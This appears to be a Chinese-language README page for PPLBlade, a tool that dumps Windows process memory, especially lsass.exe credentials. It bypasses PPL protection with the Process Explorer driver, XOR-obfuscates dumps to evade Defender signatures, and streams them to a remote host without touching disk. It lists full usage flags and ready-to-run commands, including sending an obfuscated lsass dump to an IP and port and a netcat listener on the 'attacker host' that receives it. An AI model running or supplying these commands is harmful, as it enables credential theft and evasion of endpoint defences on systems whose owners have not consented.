PPLBlade

受保护进程转储工具，支持混淆内存转储并通过网络传输到远程工作站，无需写入磁盘。

主要功能：

绕过 PPL 保护
混淆内存转储文件以规避 Defender 基于签名的检测机制
使用 RAW 和 SMB 上传方式上传内存转储，无需写入磁盘（无文件转储）

本工具所使用技术的概述可在此处找到：https://tastypepperoni.medium.com/bypassing-defenders-lsass-dump-detection-and-ppl-protection-in-go-7dd85d9a32e6

请注意，PROCEXP15.SYS 列在源文件中是用于编译目的。它不需要与 PPLBlade.exe 一同传输到目标机器上。

它已嵌入到 PPLBlade.exe 中。该漏洞利用只是一个单独的可执行文件。

模式：

Dump - 使用 PID 或进程名称转储进程内存
Decrypt - 将混淆（--obfuscate）的转储文件恢复为其原始状态
Cleanup - 手动清理，以防执行时出现问题（请注意，选项值应与要清理的执行时的值相同）
DoThatLsassThing - 使用 Process Explorer 驱动程序转储 lsass.exe（基础 POC）

句柄模式：

Direct - 直接使用 OpenProcess() 函数打开 PROCESS_ALL_ACCESS 句柄
Procexp - 使用 PROCEXP152.sys 获取句柄

Usage of PPLBlade.exe:
  -driver string
        Path where the driver file will be dropped (default: current directory)
  -dumpmode string
        Dump mode [local|network] (default "local")
  -dumpname string
        Name of the dump file (default "PPLBlade.dmp")
  -handle string
        Method to obtain target process handle [direct|procexp] (default "direct")
  -help
        Prints this help message
  -ip string
        IP of the remote server
  -key string
        XOR Key for obfuscation (default "PPLBlade")
  -mode string
        Kill or Dump process [dump|decrypt|cleanup|dothatlsassthing] (default "dump")
  -name string
        Process name of target process
  -network string
        Method for network transfer[raw|smb] (default "raw")
  -obfuscate
        Obfuscate dump file
  -pass string
        SMB password
  -pid int
        PID of target process (prioritized over process name)
  -port int
        PORT on the remote server
  -quiet
        Quiet mode
  -service string
        Name of the service (default "PPLBlade")
  -share string
        share name
  -user string
        SMB username

Examples:
PPLBlade.exe --mode dothatlsassthing
PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234
PPLBlade.exe --mode decrypt --dumpname PPLBlade.dmp --key PPLBlade
PPLBlade.exe --mode cleanup

示例：

使用 PROCEXP152.sys 转储 lsass 的基础 POC：

PPLBlade.exe --mode dothatlsassthing

（请注意，它不会对转储文件进行 XOR 操作，如果需要 XOR 功能，请添加 --obfuscate 标志）

将混淆后的 LSASS 转储上传到远程位置：

PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234

攻击者主机：

nc -lnp 1234 > lsass.dmp
python3 deobfuscate.py --dumpname lsass.dmp

去混淆内存转储：

PPLBlade.exe --mode descrypt --dumpname PPLBlade.dmp --key PPLBlade

PPLBlade

最受欢迎

PPLBlade